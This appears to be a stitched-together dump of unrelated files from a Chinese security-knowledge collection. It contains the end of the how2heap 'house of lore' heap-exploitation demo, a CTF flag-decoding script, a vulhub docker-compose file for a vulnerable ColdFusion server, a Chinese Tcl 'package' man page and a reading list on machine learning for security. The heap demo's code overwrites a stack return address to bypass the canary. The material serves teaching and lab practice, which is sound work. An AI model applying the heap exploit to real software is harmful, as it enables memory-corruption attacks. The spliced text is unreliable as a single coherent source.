fprintf(stderr, "\nThe fwd pointer of stack_buffer_2 has changed after the last malloc to %p\n",
stack_buffer_2[2]);
fprintf(stderr, "\np4 is %p and should be on the stack!\n", p4); // this chunk will be allocated on stack
intptr_t sc = (intptr_t)jackpot; // Emulating our in-memory shellcode
memcpy((p4+40), &sc, 8); // This bypasses stack-smash detection since it jumps over the canary
}
```
上面代码已经讲得非常清楚了,不再解释。
**但是需要注意的是:**
1. `void *p5 = malloc(1000);` 是为了防止和 victim_chunk 之后和 top_chunk合并。
2. `free((void*)victim)`,victim 会被放入到 unsort bin 中去,然后下一次分配的大小如果比它大,那么将从 top chunk 上分配相应大小,而该 chunk 会被取下link到相应的 bin 中。如果比它小(相等则直接返回),则从该 chunk 上切除相应大小,并返回相应 chunk,剩下的成为 last reminder chunk ,还是存在 unsorted bin 中。
## 参考文献
- [https://github.com/shellphish/how2heap/blob/master/glibc_2.25/house_of_lore.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.25/house_of_lore.c)
|
sec-knowleage
|
from base64 import b64decode
MASKS = """
192.168.55.86/255.255.255.0
192.168.80.198/255.255.255.128
192.168.1.228/255.255.255.128
192.168.90.68/255.255.254.0
192.168.8.214/255.255.255.128
192.168.5.197/255.255.255.128
192.168.71.90/255.255.255.0
192.168.62.55/255.255.255.192
192.168.78.209/255.255.255.128
192.168.76.216/255.255.255.128
192.168.91.202/255.255.255.128
192.168.93.108/255.255.255.0
192.168.74.76/255.255.254.0
192.168.10.88/255.255.254.0
192.168.82.236/255.255.255.128
192.168.13.246/255.255.255.128
192.168.99.228/255.255.255.128
192.168.68.83/255.255.252.0
192.168.23.113/255.255.255.192
192.168.52.113/255.255.255.192
192.168.69.99/255.255.255.0
192.168.19.114/255.255.255.192
192.168.53.236/255.255.255.128
192.168.90.117/255.255.254.0
192.168.35.90/255.255.255.0
192.168.91.121/255.255.255.0
192.168.48.49/255.255.255.192
192.168.27.104/255.255.255.0
192.168.98.204/255.255.255.128
192.168.93.87/255.255.255.0
192.168.44.113/255.255.255.192
192.168.40.104/255.255.248.0
192.168.25.227/255.255.255.128
192.168.57.50/255.255.255.192
192.168.97.115/255.255.255.0
192.168.30.47/255.255.255.192
192.168.10.102/255.255.254.0
192.168.51.209/255.255.255.128
192.168.82.125/255.255.255.192
192.168.72.125/255.255.255.192
""".strip().split()
flag = ''
for mask in MASKS:
addr, mask = [map(int, x.split('.')) for x in mask.split('/')]
result = [a & ~b for a, b in zip(addr, mask)]
flag += chr(result[-1])
print(b64decode(flag))
# b'TWCTF{Are-you-using-a-mask?}'
|
sec-knowleage
|
version: '2'
services:
coldfusion:
image: vulhub/coldfusion:11u3
ports:
- "8500:8500"
|
sec-knowleage
|
'\"
'\" Copyright (c) 1996 Sun Microsystems, Inc.
'\"
'\" See the file "license.terms" for information on usage and redistribution
'\" of this file, and for a DISCLAIMER OF ALL WARRANTIES.
'\"
'\" RCS: @(#) $Id: package.n,v 1.2 2003/11/24 05:09:59 bbbush Exp $
'\"
'\" The definitions below are for supplemental macros used in Tcl/Tk
'\" manual entries.
'\"
'\" .AP type name in/out ?indent?
'\" Start paragraph describing an argument to a library procedure.
'\" type is type of argument (int, etc.), in/out is either "in", "out",
'\" or "in/out" to describe whether procedure reads or modifies arg,
'\" and indent is equivalent to second arg of .IP (shouldn't ever be
'\" needed; use .AS below instead)
'\"
'\" .AS ?type? ?name?
'\" Give maximum sizes of arguments for setting tab stops. Type and
'\" name are examples of largest possible arguments that will be passed
'\" to .AP later. If args are omitted, default tab stops are used.
'\"
'\" .BS
'\" Start box enclosure. From here until next .BE, everything will be
'\" enclosed in one large box.
'\"
'\" .BE
'\" End of box enclosure.
'\"
'\" .CS
'\" Begin code excerpt.
'\"
'\" .CE
'\" End code excerpt.
'\"
'\" .VS ?version? ?br?
'\" Begin vertical sidebar, for use in marking newly-changed parts
'\" of man pages. The first argument is ignored and used for recording
'\" the version when the .VS was added, so that the sidebars can be
'\" found and removed when they reach a certain age. If another argument
'\" is present, then a line break is forced before starting the sidebar.
'\"
'\" .VE
'\" End of vertical sidebar.
'\"
'\" .DS
'\" Begin an indented unfilled display.
'\"
'\" .DE
'\" End of indented unfilled display.
'\"
'\" .SO
'\" Start of list of standard options for a Tk widget. The
'\" options follow on successive lines, in four columns separated
'\" by tabs.
'\"
'\" .SE
'\" End of list of standard options for a Tk widget.
'\"
'\" .OP cmdName dbName dbClass
'\" Start of description of a specific option. cmdName gives the
'\" option's name as specified in the class command, dbName gives
'\" the option's name in the option database, and dbClass gives
'\" the option's class in the option database.
'\"
'\" .UL arg1 arg2
'\" Print arg1 underlined, then print arg2 normally.
'\"
'\" RCS: @(#) $Id: package.n,v 1.2 2003/11/24 05:09:59 bbbush Exp $
'\"
'\" # Set up traps and other miscellaneous stuff for Tcl/Tk man pages.
.if t .wh -1.3i ^B
.nr ^l \n(.l
.ad b
'\" # Start an argument description
.de AP
.ie !"\\$4"" .TP \\$4
.el \{\
. ie !"\\$2"" .TP \\n()Cu
. el .TP 15
.\}
.ta \\n()Au \\n()Bu
.ie !"\\$3"" \{\
\&\\$1 \\fI\\$2\\fP (\\$3)
.\".b
.\}
.el \{\
.br
.ie !"\\$2"" \{\
\&\\$1 \\fI\\$2\\fP
.\}
.el \{\
\&\\fI\\$1\\fP
.\}
.\}
..
'\" # define tabbing values for .AP
.de AS
.nr )A 10n
.if !"\\$1"" .nr )A \\w'\\$1'u+3n
.nr )B \\n()Au+15n
.\"
.if !"\\$2"" .nr )B \\w'\\$2'u+\\n()Au+3n
.nr )C \\n()Bu+\\w'(in/out)'u+2n
..
.AS Tcl_Interp Tcl_CreateInterp in/out
'\" # BS - start boxed text
'\" # ^y = starting y location
'\" # ^b = 1
.de BS
.br
.mk ^y
.nr ^b 1u
.if n .nf
.if n .ti 0
.if n \l'\\n(.lu\(ul'
.if n .fi
..
'\" # BE - end boxed text (draw box now)
.de BE
.nf
.ti 0
.mk ^t
.ie n \l'\\n(^lu\(ul'
.el \{\
.\" Draw four-sided box normally, but don't draw top of
.\" box if the box started on an earlier page.
.ie !\\n(^b-1 \{\
\h'-1.5n'\L'|\\n(^yu-1v'\l'\\n(^lu+3n\(ul'\L'\\n(^tu+1v-\\n(^yu'\l'|0u-1.5n\(ul'
.\}
.el \}\
\h'-1.5n'\L'|\\n(^yu-1v'\h'\\n(^lu+3n'\L'\\n(^tu+1v-\\n(^yu'\l'|0u-1.5n\(ul'
.\}
.\}
.fi
.br
.nr ^b 0
..
'\" # VS - start vertical sidebar
'\" # ^Y = starting y location
'\" # ^v = 1 (for troff; for nroff this doesn't matter)
.de VS
.if !"\\$2"" .br
.mk ^Y
.ie n 'mc \s12\(br\s0
.el .nr ^v 1u
..
'\" # VE - end of vertical sidebar
.de VE
.ie n 'mc
.el \{\
.ev 2
.nf
.ti 0
.mk ^t
\h'|\\n(^lu+3n'\L'|\\n(^Yu-1v\(bv'\v'\\n(^tu+1v-\\n(^Yu'\h'-|\\n(^lu+3n'
.sp -1
.fi
.ev
.\}
.nr ^v 0
..
'\" # Special macro to handle page bottom: finish off current
'\" # box/sidebar if in box/sidebar mode, then invoked standard
'\" # page bottom macro.
.de ^B
.ev 2
'ti 0
'nf
.mk ^t
.if \\n(^b \{\
.\" Draw three-sided box if this is the box's first page,
.\" draw two sides but no top otherwise.
.ie !\\n(^b-1 \h'-1.5n'\L'|\\n(^yu-1v'\l'\\n(^lu+3n\(ul'\L'\\n(^tu+1v-\\n(^yu'\h'|0u'\c
.el \h'-1.5n'\L'|\\n(^yu-1v'\h'\\n(^lu+3n'\L'\\n(^tu+1v-\\n(^yu'\h'|0u'\c
.\}
.if \\n(^v \{\
.nr ^x \\n(^tu+1v-\\n(^Yu
\kx\h'-\\nxu'\h'|\\n(^lu+3n'\ky\L'-\\n(^xu'\v'\\n(^xu'\h'|0u'\c
.\}
.bp
'fi
.ev
.if \\n(^b \{\
.mk ^y
.nr ^b 2
.\}
.if \\n(^v \{\
.mk ^Y
.\}
..
'\" # DS - begin display
.de DS
.RS
.nf
.sp
..
'\" # DE - end display
.de DE
.fi
.RE
.sp
..
'\" # SO - start of list of standard options
.de SO
.SH "STANDARD OPTIONS"
.LP
.nf
.ta 5.5c 11c
.ft B
..
'\" # SE - end of list of standard options
.de SE
.fi
.ft R
.LP
See the \\fBoptions\\fR manual entry for details on the standard options.
..
'\" # OP - start of full description for a single option
.de OP
.LP
.nf
.ta 4c
Command-Line Name: \\fB\\$1\\fR
Database Name: \\fB\\$2\\fR
Database Class: \\fB\\$3\\fR
.fi
.IP
..
'\" # CS - begin code excerpt
.de CS
.RS
.nf
.ta .25i .5i .75i 1i
..
'\" # CE - end code excerpt
.de CE
.fi
.RE
..
.de UL
\\$1\l'|0\(ul'\\$2
..
.TH package 3tcl 7.5 Tcl "Tcl Built-In Commands"
.BS
'\" Note: do not modify the .SH NAME line immediately below!
.SH NAME
package \- 装载包和版本控制的设施
.SH "总览 SYNOPSIS"
.nf
\fBpackage forget ?\fIpackage package ...\fR?
\fBpackage ifneeded \fIpackage version\fR ?\fIscript\fR?
\fBpackage names\fR
\fBpackage present \fR?\fB\-exact\fR? \fIpackage \fR?\fIversion\fR?
\fBpackage provide \fIpackage \fR?\fIversion\fR?
\fBpackage require \fR?\fB\-exact\fR? \fIpackage \fR?\fIversion\fR?
\fBpackage unknown \fR?\fIcommand\fR?
\fBpackage vcompare \fIversion1 version2\fR
\fBpackage versions \fIpackage\fR
\fBpackage vsatisfies \fIversion1 version2\fR
.fi
.BE
.SH "描述 DESCRIPTION"
.PP
这个命令维持由当前解释器使用的可获得的包以及如何把它们装载到解释器中的一个简单的数据库。它支持每个包的多个版本,并基于应用的需要安排装载一个包的正确的版本。这个命令还检测并报告版本冲突。典型的,在通常的 Tcl 脚本中只调用 \fBpackage require\fR 和 \fBpackage provide\fR 命令;其他命令主要被系统脚本用来维护包数据库。
.PP
\fBpackage\fR 命令的行为由它的第一个参数确定。允许下列形式:
.TP
\fBpackage forget ?\fIpackage package ...\fR?
从这个解释器中删除关于每个指定的包的所有信息,包括由 \fBpackage ifneeded\fR 和 \fBpackage provide\fR 提供的信息。
.TP
\fBpackage ifneeded \fIpackage version\fR ?\fIscript\fR?
这个命令典型的只出现在系统配置脚本中,被用来设置包数据库。若需要一个特定的包的一个特定的版本,它指示如果这个包的这个版本是可获得的,可通过执行 \fIscript\fR 来把这个包来增加到解释器上。脚本保存在一个数据库中,由随后的 \fBpackage require\fR 命令使用;典型的,\fIscript\fR 为在包中的命令设置自动装载(或直接调用 \fBload\fR 和/或 \fBsource\fR),接着调用\fBpackage provide\fR 来指示这个包已经存在。在数据库中可以有一个单一的包的多个版本的信息。如果数据库已经包含了对 \fIpackage\fR 和 \fIversion\fR 的信息,则新 \fIscript\fR 替换现存的脚本。如果省略了 \fIscript\fR 参数,返回包 \fIpackage\fR 的版本 \fIversion\fR 的当前脚本,如果未对这个 \fIpackage\fR 和 \fIversion\fR 调用 \fBpackage ifneeded\fR 命令则返回一个空串。
.TP
\fBpackage names\fR
返回在这个解释器中所有包的名字,为这些包提供了一个版本(通过 \fBpackage provide\fR)或可获得给它们的 \fBpackage ifneeded\fR 脚本。在列表中的元素的次序是任意的。
.TP
\fBpackage present \fR?\fB\-exact\fR? \fIpackage \fR?\fIversion\fR?
除了在包没有装载时它不尝试并装载它之外,这个命令等价于 \fBpackage require\fR。
.TP
\fBpackage provide \fIpackage \fR?\fIversion\fR?
调用这个命令来指示在这个解释器中包 \fIpackage\fR 的这个版本 \fIversion\fR 现在已经存在。它典型的被作为一个 \fBifneeded\fR脚本的一部分而调用一次,并在包最终装载时被包自身再次调用。如果以前的 \fBpackage provide\fR 命令已经提供的 \fIpackage\fR 的一个不同的版本则生成一个错误。如果省略了 \fIversion\fR 参数,则命令返回当前提供包的版本号,如果在这个解释器中对 \fIpackage\fR 没有调用 \fBpackage provide\fR 命令则返回一个空串。
.TP
\fBpackage require \fR?\fB\-exact\fR? \fIpackage \fR?\fIversion\fR?
这个命令典型的被想要使用特定包的特定版本的 Tcl 脚本调用。参数指示想要哪个包,和确保把包的合适版本装载到解释器中的命令。如果命令成功执行,它返回装载的包的版本号;否则生成一个错误。如果同时指定了 \fB-exact\fR 开关和 \fIversion\fR 选项,则只接受给定版本。如果省略了 \fB-exact\fR 但指定了 \fIversion\fR ,则主版本号与 \fIversion \fR相同但晚于 \fIversion\fR 的版本也可以接受。如果省略了 \fB-exact\fR 和 \fIversion\fR二者则任何版本都可接受。如果已经提供了 \fIpackage\fR 的一个版本(通过调用 \fBpackage provide\fR 命令),则它的版本号必须满足由\fB-exact\fR 和 \fIversion\fR 给出的条件并且命令立即返回。否则,命令查找由以前的\fBpackage ifneeded\fR 命令提供的信息的数据库,看是否能获得一个可接受的版本。如果有,则调用最可接受的版本号的脚本;它必须做所有装载这个包所必须的工作,包括调用为这个包调用 \fBpackage provide\fR。如果 \fBpackage ifneeded\fR数据库不包含这个包的可接受的版本并且为这个解释器指定了一个 \fBpackage unknown\fR 命令则调用这个命令;当它完成的时候,Tcl 再次检查是否现在提供了这个包或是否有一个给它的 \fBpackage ifneeded\fR脚本。如果所有这些步骤不能提供这个包的一个可接受的版本,则命令返回一个错误。
.TP
\fBpackage unknown \fR?\fIcommand\fR?
这个命令提供在一个“最后一搏”(``last resort'') 命令,在 \fBpackage require\fR 期间如果 \fBpackage ifneeded\fR 数据库中没有一个包的合适的版本可调用这个命令。如果提供了 \fIcommand\fR 参数,它包含一个命令的第一部分,在一次 \fBpackage require\fR 命令期间调用这个命令的时候,Tcl 添加给出所须的包的名字和版本的两个附加参数。例如,如果 \fIcommand\fR是 \fBfoo bar\fR 并且后来调用了命令 \fBpackage require test 2.4\fR,则 Tcl 将执行命令 \fBfoo bar test 2.4\fR 来装载这个包。如果未给 \fBpackage require\fR 命令提供版本号,则给这个被调用的命令的版本参数是一个空串。如果 \fBpackage unknown\fR命令但不加 \fIcommand\fR 参数,则返回当前的 \fBpackage unknown\fR 脚本,如果没有就返回一个空串。如果指定 \fIcommand\fR 为一个空串,若当前有 \fBpackage unknown\fR 脚本则删除它。
.TP
\fBpackage vcompare \fIversion1 version2\fR
比较由 \fIversion1\fR和 \fIversion2 \fR给出的两个版本。如果 \fIversion1\fR 比 \fIversion2 \fR早就返回 -1,如果相同则返回0,如果 \fIversion1\fR 比 \fIversion2 \fR晚则返回 1。
.TP
\fBpackage versions \fIpackage\fR
返回 \fIpackage\fR 的所有版本号,通过 \fBpackage ifneeded\fR 命令为它们提供了信息。
.TP
\fBpackage vsatisfies \fIversion1 version2\fR
如果为 \fIversion2\fR 写的脚本不须更改就可为 \fIversion1\fR 工作则返回 1(例如,\fIversion1\fR 大于等于 \fIversion2\fR 并且有相同的主版本号),否则返回 0。
.SH "版本号 VERSION NUMBERS"
.PP
版本号由一个或多个用点号分隔的十进制数组成,比如 2 或 1.162
或 3.1.13.1。第一个数叫做主版本号。越大的数对应一个包的越晚的版本,最左边的数有更大的权重(significance).
例如,版本 2.1 比 1.3 晚而版本
3.4.6 比 3.3.5 晚。遗漏的字段等价于零: 版本 1.3 于版本 1.3.0
和 1.3.0.0 相同,所以它比 1.3.1 和 1.3.0.2
早。假定一个晚期版本向上(upward)兼容有相同主版本号的早期版本。
例如,为一个包的版本 2.3
写的 Tcl 脚本应当在版本 2.3.2、2.4、和 2.5.1
下不须更改就能工作。主版本号的变更表示有不兼容的变更:
如果代码是使用了一个包的版本 2.1 写成的,不保证在版本 1.7.3
或版本 3.1 下不须更改就能工作。
.SH "包索引 PACKAGE INDICES"
.PP
推荐的在 Tcl 中使用包的方式是在脚本中调用 \fBpackage require\fR 和 \fBpackage provide\fR 命令,并使用过程 \fBpkg_mkIndex\fR 来建立包索引文件。一旦你已经这样做了,将自动的装载包来响应 \fBpackage require\fR 命令。详情请参见 \fBpkg_mkIndex\fR 的文档。
.SH "参见 SEE ALSO"
msgcat(n), packagens(n), pkgMkIndex(n)
.SH "关键字 KEYWORDS"
package, version
.SH "[中文版维护人]"
.B 寒蝉退士
.SH "[中文版最新更新]"
.B 2001/08/31
.SH "《中国 Linux 论坛 man 手册页翻译计划》:"
.BI http://cmpp.linuxforum.net
|
sec-knowleage
|
# 安全数据分析相关资料整合
本篇基于[404 Not Found](https://4o4notfound.org/)师傅整理的开源项目:[AI-for-Security-Learning](https://github.com/404notf0und/AI-for-Security-Learning)[1],在此基础上自己做了些修改,持续更新。
## 0. 综述篇
- [安全智能应用的一些迷思](https://zhuanlan.zhihu.com/p/88042567)
- [深度总结 | 机器智能的安全之困](https://mp.weixin.qq.com/s?__biz=MzU5ODUxNzEyNA==&mid=2247484911&idx=1&sn=6a7cc2268dda2aab38085c555c04b209&chksm=fe43b104c934381294eba27b1385bffbfaf9c984773eba4cf489f26357afb50f19b382c6b500&mpshare=1&scene=1&srcid=&sharer_sharetime=1571808765043&sharer_shareid=5dc01f49f38fd64ff3e64844bc7d2ea7&key=bad1bd95c2b983fbcd2131a6fe96a7eeee59983a46ca6da6917131030413a4871bd05d4f62253d3680caf742fedcc2273637369cd4b3193eea2832db38b59be8aa0f01f4c9526a8e0c14a2805d252e95&ascene=1&uin=MTA5NjU5ODIxNg%3D%3D&devicetype=Windows+7&version=6207014a&lang=zh_CN&pass_ticket=LGfguXV%2FO1DU8mbAUL8nHSOLBI0LcXBegrVpx%2FcaDZi0HZOJ1h6pp23xChmPHqPu)
- [在网络安全领域应用机器学习的困难和对策](https://mp.weixin.qq.com/s/a04Lh49CKKrIbFW8-P1_Nw)
## 1. 防护篇
### 使用AI保护应用
#### 恶意样本检测
- [深度学习在恶意软件检测中的应用](https://xz.aliyun.com/t/2447)
- [恶意软件与数据分析](https://iami.xyz/AliSEC3/)
- [利用机器学习进行恶意代码分类](http://drops.xmd5.com/static/drops/tips-8151.html)
- [用机器学习检测Android恶意代码](http://drops.xmd5.com/static/drops/mobile-13428.html)
- [Malware Detection in Executables Using Neural Networks](https://devblogs.nvidia.com/malware-detection-neural-networks/)
- [基于深度学习的恶意样本行为检测(含源码)](https://www.freebuf.com/articles/system/182566.html)
- [用机器学习进行恶意软件检测——以阿里云恶意软件检测比赛为例](https://xz.aliyun.com/t/3704)
- [第二届微软恶意软件预测挑战赛初探](http://4o4notfound.org/index.php/archives/179/)
- [DataCon大数据安全分析比赛冠军思路分享:方向二-恶意代码检测](https://zhuanlan.zhihu.com/p/64252076)
- [第三届阿里云安全赛季军-0day](https://zhuanlan.zhihu.com/p/77492583)
- [第三届阿里云安全算法挑战赛冠军代码](https://github.com/poteman/Alibaba-3rd-Security-Algorithm-Challenge)
- [使用TextCNN模型探究恶意软件检测问题](https://xz.aliyun.com/t/6785)
- [基于卷积神经网络的恶意代码家族标注](https://xz.aliyun.com/t/6705)
#### 入侵检测
- [利用机器学习检测HTTP恶意外连流量](https://www.freebuf.com/column/170483.html)
- [ExecScent: Mining for New C&C Domains in Live
Networks with Adaptive Control Protocol Templates](https://www.usenix.org/system/files/conference/usenixsecurity13/sec13-paper_nelms.pdf)
- [MADE: Security Analytics for Enterprise Threat Detection](http://www.ccs.neu.edu/home/alina/papers/MADE.pdf)
- [机器学习在互联网巨头公司实践](https://mp.weixin.qq.com/s/NFqUF824Rpr4g6wYWFpSNQ)
- [机器学习在入侵检测方面的应用 - 基于ADFA-LD训练集训练入侵检测判别模型](https://www.cnblogs.com/LittleHann/p/7806093.html#_lab2_0_1)
- [datacon比赛方向三-攻击源与攻击者分析writeup](https://github.com/ReAbout/datacon)
- [基于机器学习的恶意软件加密流量检测研究分享](https://blog.riskivy.com/%e5%9f%ba%e4%ba%8e%e6%9c%ba%e5%99%a8%e5%ad%a6%e4%b9%a0%e7%9a%84%e6%81%b6%e6%84%8f%e8%bd%af%e4%bb%b6%e5%8a%a0%e5%af%86%e6%b5%81%e9%87%8f%e6%a3%80%e6%b5%8b/?from=groupmessage&isappinstalled=0)
- [anomaly-detection-through-reinforcement-learning](https://zighra.com/blogs/anomaly-detection-through-reinforcement-learning/)
#### 域名安全检测
- [机器学习与威胁情报的融合:一种基于AI检测恶意域名的方法](https://www.freebuf.com/articles/es/187451.html)
- [使用fasttext进行DGA检测](https://iami.xyz/DGA-Detect/)
- [机器学习实践-DGA检测](http://galaxylab.org/%E6%9C%BA%E5%99%A8%E5%AD%A6%E4%B9%A0%E5%AE%9E%E8%B7%B5-dga%E6%A3%80%E6%B5%8B/)
- [使用生成对抗网络(GAN)生成DGA](http://webber.tech/posts/%E4%BD%BF%E7%94%A8%E7%94%9F%E6%88%90%E5%AF%B9%E6%8A%97%E7%BD%91%E7%BB%9C%28GAN%29%E7%94%9F%E6%88%90DGA/)
- [使用CNN检测DNS隧道](https://github.com/BoneLee/dns_tunnel_dectect_with_CNN)
- [DNS Tunnel隧道隐蔽通信实验 && 尝试复现特征向量化思维方式检测](https://www.cnblogs.com/LittleHann/p/8656621.html)
- [探秘-基于机器学习的DNS隐蔽隧道检测方法与实现](https://blog.riskivy.com/%e6%8e%a2%e7%a7%98-%e5%9f%ba%e4%ba%8e%e6%9c%ba%e5%99%a8%e5%ad%a6%e4%b9%a0%e7%9a%84dns%e9%9a%90%e8%94%bd%e9%9a%a7%e9%81%93%e6%a3%80%e6%b5%8b%e6%96%b9%e6%b3%95%e4%b8%8e%e5%ae%9e%e7%8e%b0/)
- [DataCon 2019: 1st place solution of malicious DNS traffic & DGA analysis](https://www.cdxy.me/?p=806)
- [DataCon 9102: DNS Analysis](https://github.com/shyoshyo/Datacon-9102-DNS)
- [Datacon DNS攻击流量识别 内测笔记](http://momomoxiaoxi.com/数据分析/2019/04/24/datacondns1/)
#### 业务安全检测
- [基于设备指纹的风控建模以及机器学习的尝试](https://xz.aliyun.com/t/2801)
- [如何在安全风控中评估和量化机器学习有效性](https://xz.aliyun.com/t/2951)
- [阿里巴巴直播内容风险防控中的AI力量](https://zhuanlan.zhihu.com/p/24690287)
- [人工智能反欺诈三部曲——特征工程](https://www.anquanke.com/post/id/85741)
- [人工智能反欺诈三部曲之:设备指纹](https://zhuanlan.zhihu.com/p/31712434)
#### Web安全检测
#### Web安全之URL异常检测
- [基于机器学习的web异常检测](https://www.freebuf.com/articles/web/126543.html)
- [基于大数据和机器学习的Web异常参数检测系统Demo实现](https://www.freebuf.com/articles/web/134334.html)
- [基于机器学习的web应用防火墙](https://github.com/faizann24/Fwaf-Machine-Learning-driven-Web-Application-Firewall)
- [LSTM识别恶意HTTP请求](https://www.cdxy.me/?p=775)
- [基于URL异常检测的机器学习模型mini部署](http://4o4notfound.org/index.php/archives/84/)
- [我的AI安全检测学习笔记(一)](http://4o4notfound.org/index.php/archives/127/)
- [A Deep Learning Based Online Malicious URL and DNS Detection Scheme](https://link.springer.com/chapter/10.1007/978-3-319-78813-5_22)
- [POSTER: A PU Learning based System for Potential Malicious URL Detection](https://dl.acm.org/citation.cfm?id=3138825)
#### Web安全之SQLi检测
- [三种特征向量对深度学习攻击检测的影响](https://manning23.github.io/2017/08/08/三种特征向量对深度学习攻击检测的影响/)
#### Web安全之XSS检测
- [机器学习识别XSS实践](https://www.cdxy.me/?p=773)
- [使用深度学习检测XSS](http://webber.tech/posts/%E4%BD%BF%E7%94%A8%E6%B7%B1%E5%BA%A6%E5%AD%A6%E4%B9%A0%E6%A3%80%E6%B5%8BXSS/)
- [使用深度学习检测XSS(续)](http://webber.tech/posts/%E4%BD%BF%E7%94%A8%E6%B7%B1%E5%BA%A6%E5%AD%A6%E4%B9%A0%E6%A3%80%E6%B5%8BXSS%28%E7%BB%AD%29/)
#### Web安全之攻击多分类检测
- [基于机器学习的WEB攻击分类检测模型](https://www.freebuf.com/news/184687.html)
- [基于机器学习的攻击检测系统](https://www.freebuf.com/column/189981.html)
#### Web安全之WAF建设
- [WAF建设运营及AI应用实践](https://mp.weixin.qq.com/s/fTm1hUfRmm6ujmjvSHRLUA)
#### Web安全之Webshell检测
- [基于机器学习的分布式webshell检测系统-特征工程(1)](https://www.s0nnet.com/archives/fshell-feature-1)
- [深度学习PHP webshell查杀引擎demo](https://www.cdxy.me/?p=788)
- [使用机器学习识别WebShell](https://github.com/lcatro/WebShell-Detect-By-Machine-Learning)
- [基于机器学习的分布式Webshell检测系统](https://github.com/Lingerhk/fshell)
- [基于机器学习的Webshell发现技术探索](https://mp.weixin.qq.com/s/1V0xcjH-6V5qJoJILP0pJQ)
- [刘焱: Webshell 发现技术实战解析](http://gitbook.cn/books/5964d154cc597d3e0c08667c/index.html)
- [安普诺张涛:再谈webshell检测](http://www.cnetsec.com/article/22593.html)
- [新开始:webshell的检测](https://iami.xyz/New-Begin-For-Nothing/)
- [基于机器学习的WebShell检测方法与实现(上)](https://www.freebuf.com/articles/web/181169.html)
- [初探机器学习检测PHP Webshell](https://paper.seebug.org/526/)
- [基于AST的Webshell检测](http://foreversong.cn/archives/1386)
#### Web安全之其他
- [Web安全检测中机器学习的经验之谈](https://iami.xyz/ML-IN-Webshell-Detection-Advantages-And-Disadvantages/)
#### APT检测
- [APT detection based on machine learning](https://mp.weixin.qq.com/s?__biz=MzU5MTM5MTQ2MA==&mid=2247484139&idx=1&sn=0da63a49f341eccc0bb48c954d8ebbb4&chksm=fe2efd60c95974767521fe6a6b7257a1d05e5482fc7ddeda281bdf0f0deb20add82d1a82d8ec&mpshare=1&scene=1&srcid=&pass_ticket=bjnNiDKomd79pQvRonW%2BXsTe6JrO%2FFs6oII12dZaLBPuQOtNK6Rzh9WSJ%2B%2F89ZUA#rd)
- [RSAC 2019 | 机器学习算法分析引擎助力安全威胁推理分析](http://blog.nsfocus.net/machine-learning-algorithms-analysis-engine-security-threat-reasoning/)
#### 安全运营
- [解决机器学习和安全运营之间的最后一公里问题](https://www.anquanke.com/post/id/163637)
- [Data-Knowledge-Action: 企业安全数据分析入门](https://www.cdxy.me/?p=803)
- [RSAC 2019 | 采用NLP机器学习来进行自动化合规风险治理](http://blog.nsfocus.net/automated-compliance-risk-management-nlp-machine-learning/)
#### 二进制安全
- [机器学习在二进制代码相似性分析中的应用](https://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&mid=2458303210&idx=1&sn=345f8cec156ada8fa9bf6a6d6de83906&chksm=b1818a6086f60376e766baf472171d8e2c780b2913568b46b683e3112fcc5f86c9bf4c19e38b&mpshare=1&scene=1&srcid=&sharer_sharetime=1580984631757&sharer_shareid=5dc01f49f38fd64ff3e64844bc7d2ea7&exportkey=A0qHBeUryuXO6zhGWt5OJNw%3D&pass_ticket=gjTFXl4hPMTBWzlKpWZWqK8HivXQ8q7ChNndmw4I8JrdAK0jWWFvKIq7OMnO3BhL#rd)
#### 杂项
- [机器学习在WindowsRDP版本和后门检测上的应用](https://www.anquanke.com/post/id/157175)
- [用机器学习检测恶意PowerShell](https://xz.aliyun.com/t/2437)
- [Deep learning rises: New methods for detecting malicious PowerShell](https://www.microsoft.com/security/blog/2019/09/03/deep-learning-rises-new-methods-for-detecting-malicious-powershell/)
- [机器学习算法在用户行为检测(UBA)领域的应用](http://dearcharles.cn/2017/11/11/%E6%9C%BA%E5%99%A8%E5%AD%A6%E4%B9%A0%E7%AE%97%E6%B3%95%E5%9C%A8%E7%94%A8%E6%88%B7%E8%A1%8C%E4%B8%BA%E6%A3%80%E6%B5%8B-UBA-%E9%A2%86%E5%9F%9F%E7%9A%84%E5%BA%94%E7%94%A8/)
- [利用机器学习和规则实现弱口令检测](https://manning23.github.io/2018/10/12/%E5%88%A9%E7%94%A8%E6%9C%BA%E5%99%A8%E5%AD%A6%E4%B9%A0%E5%92%8C%E8%A7%84%E5%88%99%E5%AE%9E%E7%8E%B0%E5%BC%B1%E5%8F%A3%E4%BB%A4%E6%A3%80%E6%B5%8B/)
- [一个关于人工智能渗透测试分析系列](https://github.com/hongriSec/AI-Machine-Learning-Security)
- [机器学习在安全攻防场景的应用与分析](https://www.freebuf.com/articles/neopoints/152457.html)
### 保护AI
- [如何利用AI对抗“数据污染”和”数据中毒“?](https://www.anquanke.com/post/id/150653)
- [对抗数据中毒--机器学习在阿里巴巴网络安全的应用](https://www.leiphone.com/news/201806/rYrfwtaeCNohEf0D.html)
## 2. 对抗篇
### 使用AI攻击应用
- [AI与Android漏洞挖掘的那些事儿](https://www.zybuluo.com/qinyun/note/957067)
- [AI与安全的恩怨情仇五部曲「1」Misuse AI](https://www.zuozuovera.com/archives/1565/)
- [一种基于机器学习的自动化鱼叉式网络钓鱼思路](https://www.freebuf.com/articles/web/132811.html)
- [Weaponizing data science for social engineering:
Automated E2E spear phishing on Twitter](https://www.blackhat.com/docs/us-16/materials/us-16-Seymour-Tully-Weaponizing-Data-Science-For-Social-Engineering-Automated-E2E-Spear-Phishing-On-Twitter-wp.pdf)
- [Deep Exploit: Fully automatic penetration test tool using Machine Learning](https://securityonline.info/deep-exploit/)
- [GyoiThon: Fully automatic penetration test tool using Machine Learning](https://github.com/gyoisamurai/GyoiThon)
- [CNN+BLSTM+CTC的验证码识别从训练到部署](https://mp.weixin.qq.com/s/2v86piOgtK_t--Pzu28LgQ)
- [Generating Adversarial Malware Examples for Black-Box Attacks Based on GAN](https://arxiv.org/abs/1702.05983)
### 攻击AI
#### 攻击AI基础框架
- [深度学习框架中的魔鬼——探究人工智能系统中的安全问题](https://www.anquanke.com/post/id/86989)
- [对深度学习的降维攻击 — 人工智能系统数据流中的安全风险](https://www.anquanke.com/post/id/95095)
- [DEFCON CHINA议题解读 | 对深度学习系统的数据流攻击](https://www.anquanke.com/post/id/144837)
- [AI繁荣下的隐忧——Google Tensorflow安全风险剖析](https://security.tencent.com/index.php/blog/msg/130)
- [AI与安全「2」:Attack AI(4)聊聊机器学习框架相关的CVE](https://www.anquanke.com/post/id/205508?from=timeline)
